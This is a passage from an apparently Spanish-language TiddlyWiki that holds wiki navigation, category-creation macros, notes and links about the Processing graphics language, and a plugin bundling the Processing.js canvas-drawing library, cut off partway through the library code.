** [[MiscCiencia]]
** [[MiscTecnologia]]
* [[Misc]]
** [[Curiosidades]]
** [[HazloTuMismo]]
** [[EBooks]]
** [[Gentes]]
*** [[Cientificos]]
*** [[Escritores]]
*** [[Musicos]]
** [[Cocina]]
** [[Excursiones y viajes]]
*** [[El Sobrarbe]]
** [[HacerFuego]]
<<newJournal title:"<nombre_categoria>"
label:"Nueva categoría"
prompt:"Crea una nueva categoría usando la plantilla"
tag:"categoria"
tag:"Principal"
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>> <<newJournal title:"<nombre_metacategoria>"
label:"Nueva meta-categoría"
prompt:"Crea una nueva metacategoría usando la plantilla. Las metacategorías funcionan como tags"
tag:"metacategoria"
text:{{store.getTiddlerText("<plantilla_metacategoria>")}}
>>
! Artículos incompletos:
<<tagging [[incompleto]]>>
!Descripción
Apuntes sobre el lenguaje orientado a la generación de gráficos Processing
!Apuntes rápidos
*
!Enlaces interesantes
* ''Versión estandar (J2SE)''
** Página principal: http://processing.org/
** Referencia: http://processing.org/reference/
** Tutoriales: http://processing.org/learning/
* ''Versión movil (J2ME)''
** Página principal: http://mobile.processing.org/
** Referencia: http://mobile.processing.org/reference/index.php
** Tutoriales: http://mobile.processing.org/learning/tutorials/index.php
* ''Versión web ([[Javascript]])''
** Página principal: http://processingjs.org
** Referencia: http://processingjs.org/reference
** Tutoriales: http://processingjs.org/learning
* ''Otras versiones''
** Plugin para TiddlyWiki: http://processing.tiddlyspot.com/ (ProcessingjsPlugin)
* ''Más información''
** Comparación con python: http://processing.org/learning/compare/python.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Scripts
<<newChild
title:"<nuevo_script_processingJs>"
label:"Nuevo script"
prompt:"Crea un nuevo script de Processing"
tag:[[código]]
tag:[[incompleto]]
excludeTag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_script_processing>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("código")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|''Name:''|ProcessingPlugin|
|''Description:''|TiddlyWiki Bundle of John Ressig's processing.js|
|''Date:''|May 9, 2008|
|''Author:''|PaulDowney (psd (at) osmosoft (dot) com)|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/PaulDowney/plugins/ProcessingPlugin.js|
|''Version:''|0.2|
|''License:''|[[MIT license]]|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev |
|''~CoreVersion:''|2.2|
With contributions from Simon Baird.
***/
//{{{
// Ensure Plugin is only installed once.
if(!version.extensions.Processingjs) {
version.extensions.Processingjs = {installed:true};
config.macros.Processing = {
counter: 0,
handler: function (place,macroName,params,wikifier,paramString,tiddler) {
var id = "processingcanvas"+this.counter;
var canvas = createTiddlyElement(place,"canvas",id);
// inlined code
var code = paramString;
// quick and dirty grab of code from a named tiddler
if (store.tiddlerExists(params[0])) {
code = store.getTiddlerText(params[0]);
}
// or with no params, grab code from this tiddler
if (paramString.trim() == '') {
code = tiddler.text;
}
createTiddlyElement(place,"br");
var restartBtn = createTiddlyButton(place,"restart","restart",function() {
story.refreshTiddler(tiddler.title,null,true);
return false;
},
'processingRestart' // it's a class so you can style the button
);
Processing(canvas,code);
}
};
// requires 2.4
merge(config.macros.view.views,{
processing: function(value,place,params,wikifier,paramString,tiddler) {
wikify("<<Processing\n"+value+"\n>>",place,highlightHack,tiddler);
}
});
/*
* inlined copy of Processing.js
* latest code at: http://ejohn.org/blog/processingjs/
*/
/*
* Processing.js - John Resig (http://ejohn.org/)
* MIT Licensed
* http://ejohn.org/blog/processingjs/
*
* This is a port of the Processing Visualization Language.
* More information: http://processing.org/
*/
(function(){
this.Processing = function Processing( aElement, aCode )
{
var p = buildProcessing( aElement );
p.init( aCode );
return p;
};
function log()
{
try
{
console.log.apply( console, arguments );
}
catch(e)
{
try
{
opera.postError.apply( opera, arguments );
}
catch(e){}
}
}
function parse( aCode, p )
{
// Angels weep at this parsing code :-(
// Remove end-of-line comments
aCode = aCode.replace(/\/\/ .*\n/g, "\n");
// Weird parsing errors with %
aCode = aCode.replace(/([^\s])%([^\s])/g, "$1 % $2");
// Simple convert a function-like thing to function
aCode = aCode.replace(/(?:static )?(\w+ )(\w+)\s*(\([^\)]*\)\s*{)/g, function(all, type, name, args)
{
if ( name == "if" || name == "for" || name == "while" )
{
return all;
}
else
{
return "Processing." + name + " = function " + name + args;
}
});
// Force .length() to be .length
aCode = aCode.replace(/\.length\(\)/g, ".length");
// foo( int foo, float bar )
aCode = aCode.replace(/([\(,]\s*)(\w+)((?:\[\])+| )\s*(\w+\s*[\),])/g, "$1$4");
aCode = aCode.replace(/([\(,]\s*)(\w+)((?:\[\])+| )\s*(\w+\s*[\),])/g, "$1$4");
// float[] foo = new float[5];
aCode = aCode.replace(/new (\w+)((?:\[([^\]]*)\])+)/g, function(all, name, args)
{
return "new ArrayList(" + args.slice(1,-1).split("][").join(", ") + ")";
});
aCode = aCode.replace(/(?:static )?\w+\[\]\s*(\w+)\[?\]?\s*=\s*{.*?};/g, function(all)
{
return all.replace(/{/g, "[").replace(/}/g, "]");
});
// int|float foo;
var intFloat = /(\n\s*(?:int|float)(?:\[\])?(?:\s*|[^\(]*?,\s*))([a-z]\w*)(;|,)/i;
while ( intFloat.test(aCode) )
{
aCode = aCode.replace(new RegExp(intFloat), function(all, type, name, sep)
{
return type + " " + name + " = 0" + sep;
});
}
// float foo = 5;
aCode = aCode.replace(/(?:static )?(\w+)((?:\[\])+| ) *(\w+)\[?\]?(\s*[=,;])/g, function(all, type, arr, name, sep)
{
if ( type == "return" )
return all;
else
return "var " + name + sep;
});
// Fix Array[] foo = {...} to [...]
aCode = aCode.replace(/=\s*{((.|\s)*?)};/g, function(all,data)
{
return "= [" + data.replace(/{/g, "[").replace(/}/g, "]") + "]";
});
// static { ... } blocks
aCode = aCode.replace(/static\s*{((.|\n)*?)}/g, function(all, init)
{
// Convert the static definitons to variable assignments
//return init.replace(/\((.*?)\)/g, " = $1");
return init;
});
// super() is a reserved word
aCode = aCode.replace(/super\(/g, "superMethod(");
var classes = ["int", "float", "boolean", "string"];
function ClassReplace(all, name, extend, vars, last)
{
classes.push( name );
var static = "";
vars = vars.replace(/final\s+var\s+(\w+\s*=\s*.*?;)/g, function(all,set)
{
static += " " + name + "." + set;
return "";
});
// Move arguments up from constructor and wrap contents with
// a with(this), and unwrap constructor
return "function " + name + "() {with(this){\n " +
(extend ? "var __self=this;function superMethod(){extendClass(__self,arguments," + extend + ");}\n" : "") +
// Replace var foo = 0; with this.foo = 0;
// and force var foo; to become this.foo = null;
vars
.replace(/,\s?/g, ";\n this.")
.replace(/\b(var |final |public )+\s*/g, "this.")
.replace(/this.(\w+);/g, "this.$1 = null;") +
(extend ? "extendClass(this, " + extend + ");\n" : "") +
"<CLASS " + name + " " + static + ">" + (typeof last == "string" ? last : name + "(");
}
var matchClasses = /(?:public |abstract |static )*class (\w+)\s*(?:extends\s*(\w+)\s*)?{\s*((?:.|\n)*?)\b\1\s*\(/g;
var matchNoCon = /(?:public |abstract |static )*class (\w+)\s*(?:extends\s*(\w+)\s*)?{\s*((?:.|\n)*?)(Processing)/g;
aCode = aCode.replace(matchClasses, ClassReplace);
aCode = aCode.replace(matchNoCon, ClassReplace);
var matchClass = /<CLASS (\w+) (.*?)>/, m;
while ( (m = aCode.match( matchClass )) )
{
var left = RegExp.leftContext,
allRest = RegExp.rightContext,
rest = nextBrace(allRest),
className = m[1],
staticVars = m[2] || "";
allRest = allRest.slice( rest.length + 1 );
rest = rest.replace(new RegExp("\\b" + className + "\\(([^\\)]*?)\\)\\s*{", "g"), function(all, args)
{
args = args.split(/,\s*?/);
if ( args[0].match(/^\s*$/) )
args.shift();
var fn = "if ( arguments.length == " + args.length + " ) {\n";
for ( var i = 0; i < args.length; i++ )
{
fn += " var " + args[i] + " = arguments[" + i + "];\n";
}
return fn;
});
// Fix class method names
// this.collide = function() { ... }
// and add closing } for with(this) ...
rest = rest.replace(/(?:public )?Processing.\w+ = function (\w+)\((.*?)\)/g, function(all, name, args)
{
return "ADDMETHOD(this, '" + name + "', function(" + args + ")";
});
var matchMethod = /ADDMETHOD([\s\S]*?{)/, mc;
var methods = "";
while ( (mc = rest.match( matchMethod )) )
{
var prev = RegExp.leftContext,
allNext = RegExp.rightContext,
next = nextBrace(allNext);
methods += "addMethod" + mc[1] + next + "});"
rest = prev + allNext.slice( next.length + 1 );
}
rest = methods + rest;
aCode = left + rest + "\n}}" + staticVars + allRest;
}
// Do some tidying up, where necessary
aCode = aCode.replace(/Processing.\w+ = function addMethod/g, "addMethod");
function nextBrace( right )
{
var rest = right;
var position = 0;
var leftCount = 1, rightCount = 0;
while ( leftCount != rightCount )
{
var nextLeft = rest.indexOf("{");
var nextRight = rest.indexOf("}");
if ( nextLeft < nextRight && nextLeft != -1 )
{
leftCount++;
rest = rest.slice( nextLeft + 1 );
position += nextLeft + 1;
}
else
{
rightCount++;
rest = rest.slice( nextRight + 1 );
position += nextRight + 1;
}
}
return right.slice(0, position - 1);
}
// Handle (int) Casting
aCode = aCode.replace(/\(int\)/g, "0|");
// Remove Casting
aCode = aCode.replace(new RegExp("\\((" + classes.join("|") + ")(\\[\\])?\\)", "g"), "");
// Convert 3.0f to just 3.0
aCode = aCode.replace(/(\d+)f/g, "$1");
// Force numbers to exist
//aCode = aCode.replace(/([^.])(\w+)\s*\+=/g, "$1$2 = ($2||0) +");
// Force characters-as-bytes to work
aCode = aCode.replace(/('[a-zA-Z0-9]')/g, "$1.charCodeAt(0)");
// Convert #aaaaaa into color
aCode = aCode.replace(/#([a-f0-9]{6})/ig, function(m, hex){
var num = toNumbers(hex);
return "color(" + num[0] + "," + num[1] + "," + num[2] + ")";
});
function toNumbers( str ){
var ret = [];
str.replace(/(..)/g, function(str){
ret.push( parseInt( str, 16 ) );
});
return ret;
}
//log(aCode);
return aCode;
}
function buildProcessing( curElement ){
var p = {};
// init
p.PI = Math.PI;
p.TWO_PI = 2 * p.PI;
p.HALF_PI = p.PI / 2;
p.P3D = 3;
p.CORNER = 0;
p.CENTER = 1;
p.CENTER_RADIUS = 2;
p.RADIUS = 2;
p.POLYGON = 1;
p.TRIANGLES = 6;
p.POINTS = 7;
p.LINES = 8;
p.TRIANGLE_STRIP = 9;
p.CORNERS = 10;
p.CLOSE = true;
p.RGB = 1;
p.HSB = 2;
// "Private" variables used to maintain state
var curContext = curElement.getContext("2d");
var doFill = true;
var doStroke = true;
var loopStarted = false;
var hasBackground = false;
var doLoop = true;
var curRectMode = p.CORNER;
var curEllipseMode = p.CENTER;
var inSetup = false;
var inDraw = false;
var curBackground = "rgba(204,204,204,1)";
var curFrameRate = 1000;
var curShape = p.POLYGON;
var curShapeCount = 0;
var opacityRange = 255;
var redRange = 255;
var greenRange = 255;
var blueRange = 255;
var pathOpen = false;
var mousePressed = false;
var keyPressed = false;
var firstX, firstY, prevX, prevY;
var curColorMode = p.RGB;
var curTint = -1;
var curTextSize = 12;
var curTextFont = "Arial";
var getLoaded = false;
var start = (new Date).getTime();
// Global vars for tracking mouse position
p.pmouseX = 0;
p.pmouseY = 0;
p.mouseX = 0;
p.mouseY = 0;
// Will be replaced by the user, most likely
p.mouseDragged = undefined;
p.mouseMoved = undefined;
p.mousePressed = undefined;
p.mouseReleased = undefined;
p.keyPressed = undefined;
p.keyReleased = undefined;
p.draw = undefined;
p.setup = undefined;
// The height/width of the canvas
p.width = curElement.width - 0;
p.height = curElement.height - 0;
// In case I ever need to do HSV conversion:
// http://srufaculty.sru.edu/david.dailey/javascript/js/5rml.js
p.color = function color( aValue1, aValue2, aValue3, aValue4 )
{
var aColor = "";
if ( arguments.length == 3 )
{
aColor = p.color( aValue1, aValue2, aValue3, opacityRange );
}
else if ( arguments.length == 4 )
{
var a = aValue4 / opacityRange;
a = isNaN(a) ? 1 : a;
if ( curColorMode == p.HSB )
{
var rgb = HSBtoRGB(aValue1, aValue2, aValue3);
var r = rgb[0], g = rgb[1], b = rgb[2];
}
else
{
var r = getColor(aValue1, redRange);
var g = getColor(aValue2, greenRange);
var b = getColor(aValue3, blueRange);
}
aColor = "rgba(" + r + "," + g + "," + b + "," + a + ")";
}
else if ( typeof aValue1 == "string" )
{
aColor = aValue1;
if ( arguments.length == 2 )
{
var c = aColor.split(",");
c[3] = (aValue2 / opacityRange) + ")";
aColor = c.join(",");
}
}
else if ( arguments.length == 2 )
{
aColor = p.color( aValue1, aValue1, aValue1, aValue2 );
}
else if ( typeof aValue1 == "number" )
{
aColor = p.color( aValue1, aValue1, aValue1, opacityRange );
}
else
{
aColor = p.color( redRange, greenRange, blueRange, opacityRange );
}
// HSB conversion function from Mootools, MIT Licensed
function HSBtoRGB(h, s, b)
{
h = (h / redRange) * 100;
s = (s / greenRange) * 100;
b = (b / blueRange) * 100;
if (s == 0){
return [b, b, b];
} else {
var hue = h % 360;
var f = hue % 60;
var br = Math.round(b / 100 * 255);
var p = Math.round((b * (100 - s)) / 10000 * 255);
var q = Math.round((b * (6000 - s * f)) / 600000 * 255);
var t = Math.round((b * (6000 - s * (60 - f))) / 600000 * 255);
switch (Math.floor(hue / 60)){
case 0: return [br, t, p];
case 1: return [q, br, p];
case 2: return [p, br, t];
case 3: return [p, q, br];
case 4: return [t, p, br];
case 5: return [br, p, q];
}
}
}
function getColor( aValue, range )
{
return Math.round(255 * (aValue / range));
}
return aColor;
}
p.nf = function( num, pad )
{
var str = "" + num;
while ( pad - str.length )
str = "0" + str;
return str;
};
p.AniSprite = function( prefix, frames )
{
this.images = [];
this.pos = 0;
for ( var i = 0; i < frames; i++ )
{
this.images.push( prefix + p.nf( i, ("" + frames).length ) + ".gif" );
}
this.display = function( x, y )
{
p.image( this.images[ this.pos ], x, y );
if ( ++this.pos >= frames )
this.pos = 0;
};
this.getWidth = function()
{
return getImage(this.images[0]).width;
};
this.getHeight = function()
{
return getImage(this.images[0]).height;
};
};
function buildImageObject( obj )
{
var pixels = obj.data;
var data = p.createImage( obj.width, obj.height );
if ( data.__defineGetter__ && data.__lookupGetter__ && !data.__lookupGetter__("pixels") )
{
var pixelsDone;
data.__defineGetter__("pixels", function()
{
if ( pixelsDone )
return pixelsDone;
pixelsDone = [];
for ( var i = 0; i < pixels.length; i += 4 )
{
pixelsDone.push( p.color(pixels[i], pixels[i+1], pixels[i+2], pixels[i+3]) );
}
return pixelsDone;
});
}
else
{
data.pixels = [];
for ( var i = 0; i < pixels.length; i += 4 )
{
data.pixels.push( p.color(pixels[i], pixels[i+1], pixels[i+2], pixels[i+3]) );
}
}
return data;
}
p.createImage = function createImage( w, h, mode )
{
var data = {
width: w,
height: h,
pixels: new Array( w * h ),
get: function(x,y)
{
return this.pixels[w*y+x];
},
_mask: null,
mask: function(img)
{
this._mask = img;
},
loadPixels: function()
{
},
updatePixels: function()
{
}
};
return data;
}
p.createGraphics = function createGraphics( w, h )
{
var canvas = document.createElement("canvas");
var ret = buildProcessing( canvas );
ret.size( w, h );
ret.canvas = canvas;
return ret;
}
p.beginDraw = function beginDraw()
{
}
p.endDraw = function endDraw()
{
}
p.tint = function tint( rgb, a )
{
curTint = a;
}
function getImage( img ) {
if ( typeof img == "string" )
{
return document.getElementById(img);
}
if ( img.img || img.canvas )
{
return img.img || img.canvas;
}
img.data = [];
for ( var i = 0, l = img.pixels.length; i < l; i++ )
{
var c = (img.pixels[i] || "rgba(0,0,0,1)").slice(5,-1).split(",");
img.data.push( parseInt(c[0]), parseInt(c[1]), parseInt(c[2]), parseFloat(c[3]) * 100 );
}
var canvas = document.createElement("canvas")
canvas.width = img.width;
canvas.height = img.height;
var context = canvas.getContext("2d");
context.putImageData( img, 0, 0 );
img.canvas = canvas;
return canvas;
}
p.image = function image( img, x, y, w, h )
{
x = x || 0;
y = y || 0;
var obj = getImage(img);
if ( curTint >= 0 )
{
var oldAlpha = curContext.globalAlpha;
curContext.globalAlpha = curTint / opacityRange;
}
if ( arguments.length == 3 )
{
curContext.drawImage( obj, x, y );
}
else
{
curContext.drawImage( obj, x, y, w, h );
}
if ( curTint >= 0 )
{
curContext.globalAlpha = oldAlpha;
}
if ( img._mask )
{
var oldComposite = curContext.globalCompositeOperation;
curContext.globalCompositeOperation = "darker";
p.image( img._mask, x, y );
curContext.globalCompositeOperation = oldComposite;
}
}
p.exit = function exit()
{
}
p.save = function save( file )
{
}
p.loadImage = function loadImage( file )
{
var img = document.getElementById(file);
if ( !img )
return;
var h = img.height, w = img.width;
var canvas = document.createElement("canvas");
canvas.width = w;
canvas.height = h;
var context = canvas.getContext("2d");
context.drawImage( img, 0, 0 );
var data = buildImageObject( context.getImageData( 0, 0, w, h ) );
data.img = img;
return data;
}
p.loadFont = function loadFont( name )
{
return {
name: name,
width: function( str )
{
if ( curContext.mozMeasureText )
return curContext.mozMeasureText( typeof str == "number" ?
String.fromCharCode( str ) :
str) / curTextSize;
else
return 0;
}
};
}
p.textFont = function textFont( name, size )
{
curTextFont = name;
p.textSize( size );
}
p.textSize = function textSize( size )
{
if ( size )
{
curTextSize = size;
}
}
p.textAlign = function textAlign()
{
}
p.text = function text( str, x, y )
{
if ( str && curContext.mozDrawText )
{
curContext.save();
curContext.mozTextStyle = curTextSize + "px " + curTextFont.name;
curContext.translate(x, y);
curContext.mozDrawText( typeof str == "number" ?
String.fromCharCode( str ) :
str );
curContext.restore();
}
}
p.char = function char( key )
{
//return String.fromCharCode( key );
return key;
}
p.println = function println()
{
}
p.map = function map( value, istart, istop, ostart, ostop )
{
return ostart + (ostop - ostart) * ((value - istart) / (istop - istart));
};
String.prototype.replaceAll = function(re, replace)
{
return this.replace(new RegExp(re, "g"), replace);
};
p.Point = function Point( x, y )
{
this.x = x;
this.y = y;
this.copy = function()
{
return new Point( x, y );
}
}
p.Random = function()
{
var haveNextNextGaussian = false;
var nextNextGaussian;
this.nextGaussian = function()
{
if (haveNextNextGaussian) {
haveNextNextGaussian = false;
return nextNextGaussian;
} else {
var v1, v2, s;
do {
v1 = 2 * p.random(1) - 1; // between -1.0 and 1.0
v2 = 2 * p.random(1) - 1; // between -1.0 and 1.0
s = v1 * v1 + v2 * v2;
} while (s >= 1 || s == 0);
var multiplier = Math.sqrt(-2 * Math.log(s)/s);
nextNextGaussian = v2 * multiplier;
haveNextNextGaussian = true;
return v1 * multiplier;
}
};
}
p.ArrayList = function ArrayList( size, size2, size3 )
{
var array = new Array( 0 | size );
if ( size2 )
{
for ( var i = 0; i < size; i++ )
{
array[i] = [];
for ( var j = 0; j < size2; j++ )
{
var a = array[i][j] = size3 ? new Array( size3 ) : 0;
for ( var k = 0; k < size3; k++ )
{
a[k] = 0;
}
}
}
}
else
{
for ( var i = 0; i < size; i++ )
{
array[i] = 0;
}
}
array.size = function()
{
return this.length;
};
array.get = function( i )
{
return this[ i ];
};
array.remove = function( i )
{
return this.splice( i, 1 );
};
array.add = function( item )
{
for ( var i = 0; this[ i ] != undefined; i++ ) {}
this[ i ] = item;
};
array.clone = function()
{
var a = new ArrayList( size );
for ( var i = 0; i < size; i++ )
{
a[ i ] = this[ i ];
}
return a;
};
array.isEmpty = function()
{
return !this.length;
};
array.clear = function()
{
this.length = 0;
};
return array;
}
p.colorMode = function colorMode( mode, range1, range2, range3, range4 )
{
curColorMode = mode;
if ( arguments.length >= 4 )
{
redRange = range1;
greenRange = range2;
blueRange = range3;
}
if ( arguments.length == 5 )
{
opacityRange = range4;
}
if ( arguments.length == 2 )
{
p.colorMode( mode, range1, range1, range1, range1 );
}
}
p.beginShape = function beginShape( type )
{
curShape = type;
curShapeCount = 0;
}
p.endShape = function endShape( close )
{
if ( curShapeCount != 0 )
{
curContext.lineTo( firstX, firstY );
if ( doFill )
curContext.fill();
if ( doStroke )
curContext.stroke();
curContext.closePath();
curShapeCount = 0;
pathOpen = false;
}
if ( pathOpen )
{
curContext.closePath();
}
}
p.vertex = function vertex( x, y, x2, y2, x3, y3 )
{
if ( curShapeCount == 0 && curShape != p.POINTS )
{
pathOpen = true;
curContext.beginPath();
curContext.moveTo( x, y );
}
else
{
if ( curShape == p.POINTS )
{
p.point( x, y );
}
else if ( arguments.length == 2 )
{
if ( curShape == p.TRIANGLE_STRIP && curShapeCount == 2 )
{
curContext.moveTo( prevX, prevY );
curContext.lineTo( firstX, firstY );
}
curContext.lineTo( x, y );
}
else if ( arguments.length == 4 )
{
if ( curShapeCount > 1 )
{
curContext.moveTo( prevX, prevY );
curContext.quadraticCurveTo( firstX, firstY, x, y );
curShapeCount = 1;
}
}
else if ( arguments.length == 6 )
{
curContext.bezierCurveTo( x, y, x2, y2, x3, y3 );
curShapeCount = -1;
}
}
prevX = firstX;
prevY = firstY;
firstX = x;
firstY = y;
curShapeCount++;
if ( curShape == p.LINES && curShapeCount == 2 ||
(curShape == p.TRIANGLES || curShape == p.TRIANGLE_STRIP) && curShapeCount == 3 )
{
p.endShape();
}
if ( curShape == p.TRIANGLE_STRIP && curShapeCount == 3 )
{
curShapeCount = 2;
}
}
p.curveTightness = function()
{
}
// Unimplmented - not really possible with the Canvas API
p.curveVertex = function( x, y, x2, y2 )
{
p.vertex( x, y, x2, y2 );
}
p.bezierVertex = p.vertex
p.rectMode = function rectMode( aRectMode )
{
curRectMode = aRectMode;
}
p.imageMode = function()
{
}
p.ellipseMode = function ellipseMode( aEllipseMode )
{
curEllipseMode = aEllipseMode;
}
p.dist = function dist( x1, y1, x2, y2 )
{
return Math.sqrt( Math.pow( x2 - x1, 2 ) + Math.pow( y2 - y1, 2 ) );
}
p.year = function year()
{
return (new Date).getYear() + 1900;
}
p.month = function month()
{
return (new Date).getMonth();
}
p.day = function day()
{
return (new Date).getDay();
}
p.hour = function hour()
{
return (new Date).getHours();
}
p.minute = function minute()
{
return (new Date).getMinutes();
}
p.second = function second()
{
return (new Date).getSeconds();
}
p.millis = function millis()
{
return (new Date).getTime() - start;
}
p.ortho = function ortho()
{
}
p.translate = function translate( x, y )
{
curContext.translate( x, y );
}
p.scale = function scale( x, y )
{
curContext.scale( x, y || x );
}
p.rotate = function rotate( aAngle )
{
curContext.rotate( aAngle );
}
p.pushMatrix = function pushMatrix()
{
curContext.save();
}
p.popMatrix = function popMatrix()
{
curContext.restore();
}
p.redraw = function redraw()
{
if ( hasBackground )
{
p.background();
}
inDraw = true;
p.pushMatrix();
p.draw();
p.popMatrix();
inDraw = false;
}
p.loop = function loop()
{
if ( loopStarted )
return;
var looping = setInterval(function()
{
try
{
p.redraw();
}
catch(e)
{
clearInterval( looping );
throw e;
}
}, 1000 / curFrameRate );
loopStarted = true;
}
p.frameRate = function frameRate( aRate )
{
curFrameRate = aRate;
}
p.background = function background( img )
{
if ( arguments.length )
{
if ( img && img.img )
{
curBackground = img;
}
else
{
curBackground = p.color.apply( this, arguments );
}
}
if ( curBackground.img )
{
p.image( curBackground, 0, 0 );
}
else
{
var oldFill = curContext.fillStyle;
curContext.fillStyle = curBackground + "";
curContext.fillRect( 0, 0, p.width, p.height );
curContext.fillStyle = oldFill;
}
}
p.sq = function sq( aNumber )
{
return aNumber * aNumber;
}
p.sqrt = function sqrt( aNumber )
{
return Math.sqrt( aNumber );
}
p.int = function int( aNumber )
{
return Math.floor( aNumber );
}
p.min = function min( aNumber, aNumber2 )
{
return Math.min( aNumber, aNumber2 );
}
p.max = function max( aNumber, aNumber2 )
{
return Math.max( aNumber, aNumber2 );
}
p.ceil = function ceil( aNumber )
{
return Math.ceil( aNumber );
}
p.floor = function floor( aNumber )
{
return Math.floor( aNumber );
}
p.float = function float( aNumber )
{
return typeof aNumber == "string" ?
p.float( aNumber.charCodeAt(0) ) :
parseFloat( aNumber );
}
p.byte = function byte( aNumber )
{
return aNumber || 0;
}
p.random = function random( aMin, aMax )
{
return arguments.length == 2 ?
aMin + (Math.random() * (aMax - aMin)) :
Math.random() * aMin;
}
// From: http://freespace.virgin.net/hugo.elias/models/m_perlin.htm
p.noise = function( x, y, z )
{
return arguments.length >= 2 ?
PerlinNoise_2D( x, y ) :
PerlinNoise_2D( x, x );
}
function Noise(x, y)
{
var n = x + y * 57;
n = (n<<13) ^ n;
return Math.abs(1.0 - (((n * ((n * n * 15731) + 789221) + 1376312589) & 0x7fffffff) / 1073741824.0));
}
function SmoothedNoise(x, y)
{
var corners = ( Noise(x-1, y-1)+Noise(x+1, y-1)+Noise(x-1, y+1)+Noise(x+1, y+1) ) / 16;
var sides = ( Noise(x-1, y) +Noise(x+1, y) +Noise(x, y-1) +Noise(x, y+1) ) / 8;
var center = Noise(x, y) / 4;
return corners + sides + center;
}
function InterpolatedNoise(x, y)
{
var integer_X = Math.floor(x);
var fractional_X = x - integer_X;
var integer_Y = Math.floor(y);
var fractional_Y = y - integer_Y;
var v1 = SmoothedNoise(integer_X, integer_Y);
var v2 = SmoothedNoise(integer_X + 1, integer_Y);
var v3 = SmoothedNoise(integer_X, integer_Y + 1);
var v4 = SmoothedNoise(integer_X + 1, integer_Y + 1);
var i1 = Interpolate(v1 , v2 , fractional_X);
var i2 = Interpolate(v3 , v4 , fractional_X);
return Interpolate(i1 , i2 , fractional_Y);
}
function PerlinNoise_2D(x, y)
{
var total = 0;
var p = 0.25;
var n = 3;
for ( var i = 0; i <= n; i++ )
{
var frequency = Math.pow(2, i);
var amplitude = Math.pow(p, i);
total = total + InterpolatedNoise(x * frequency, y * frequency) * amplitude;
}
return total;
}
function Interpolate(a, b, x)
{
var ft = x * p.PI;
var f = (1 - p.cos(ft)) * .5;
return a*(1-f) + b*f;
}
p.red = function( aColor )
{
return parseInt(aColor.slice(5));
}
p.green = function( aColor )
{
return parseInt(aColor.split(",")[1]);
}
p.blue = function( aColor )
{
return parseInt(aColor.split(",")[2]);
}
p.alpha = function( aColor )
{
return parseInt(aColor.split(",")[3]);
}
p.abs = function abs( aNumber )
{
return Math.abs( aNumber );
}
p.cos = function cos( aNumber )
{
return Math.cos( aNumber );
}
p.sin = function sin( aNumber )
{
return Math.sin( aNumber );
}
p.pow = function pow( aNumber, aExponent )
{
return Math.pow( aNumber, aExponent );
}
p.constrain = function constrain( aNumber, aMin, aMax )
{
return Math.min( Math.max( aNumber, aMin ), aMax );
}
p.sqrt = function sqrt( aNumber )
{
return Math.sqrt( aNumber );
}
p.atan2 = function atan2( aNumber, aNumber2 )
{
return Math.atan2( aNumber, aNumber2 );
}
p.radians = function radians( aAngle )
{
return ( aAngle / 180 ) * p.PI;
}
p.size = function size( aWidth, aHeight )
{
var fillStyle = curContext.fillStyle;
var strokeStyle = curContext.strokeStyle;
curElement.width = p.width = aWidth;
curElement.height = p.height = aHeight;
curContext.fillStyle = fillStyle;
curContext.strokeStyle = strokeStyle;
}
p.noStroke = function noStroke()
{
doStroke = false;
}
p.noFill = function noFill()
{
doFill = false;
}
p.smooth = function smooth()
{
}
p.noLoop = function noLoop()
{
doLoop = false;
}
p.fill = function fill()
{
doFill = true;
curContext.fillStyle = p.color.apply( this, arguments );
}
p.stroke = function stroke()
{
doStroke = true;
curContext.strokeStyle = p.color.apply( this, arguments );
}
p.strokeWeight = function strokeWeight( w )
{
curContext.lineWidth = w;
}
p.point = function point( x, y )
{
var oldFill = curContext.fillStyle;
curContext.fillStyle = curContext.strokeStyle;
curContext.fillRect( Math.round( x ), Math.round( y ), 1, 1 );
curContext.fillStyle = oldFill;
}
p.get = function get( x, y )
{
if ( arguments.length == 0 )
{
var c = p.createGraphics( p.width, p.height );
c.image( curContext, 0, 0 );
return c;
}
if ( !getLoaded )
{
getLoaded = buildImageObject( curContext.getImageData(0, 0, p.width, p.height) );
}
return getLoaded.get( x, y );
}
p.set = function set( x, y, color )
{
var oldFill = curContext.fillStyle;
curContext.fillStyle = color;
curContext.fillRect( Math.round( x ), Math.round( y ), 1, 1 );
curContext.fillStyle = oldFill;
}
p.arc = function arc( x, y, width, height, start, stop )
{
if ( width <= 0 )
return;
if ( curEllipseMode == p.CORNER )
{
x += width / 2;
y += height / 2;
}
curContext.beginPath();
curContext.moveTo( x, y );
curContext.arc( x, y, curEllipseMode == p.CENTER_RADIUS ? width : width/2, start, stop, false );
if ( doFill )
curContext.fill();
if ( doStroke )
curContext.stroke();
curContext.closePath();
}
p.line = function line( x1, y1, x2, y2 )
{
curContext.lineCap = "round";
curContext.beginPath();
curContext.moveTo( x1 || 0, y1 || 0 );
curContext.lineTo( x2 || 0, y2 || 0 );
curContext.stroke();
curContext.closePath();
}
p.bezier = function bezier( x1, y1, x2, y2, x3, y3, x4, y4 )
{
curContext.lineCap = "butt";
curContext.beginPath();
curContext.moveTo( x1, y1 );
curContext.bezierCurveTo( x2, y2, x3, y3, x4, y4 );
curContext.stroke();
curContext.closePath();
}
p.triangle = function triangle( x1, y1, x2, y2, x3, y3 )
{
p.beginShape();
p.vertex( x1, y1 );
p.vertex( x2, y2 );
p.vertex( x3, y3 );
p.endShape();
}
p.quad = function quad( x1, y1, x2, y2, x3, y3, x4, y4 )
{
p.beginShape();
p.vertex( x1, y1 );
p.vertex( x2, y2 );
p.vertex( x3, y3 );
p.vertex( x4, y4 );
p.endShape();
}
p.rect = function rect( x, y, width, height )
{
if ( width == 0 && height == 0 )
return;
curContext.beginPath();
var offsetStart = 0;
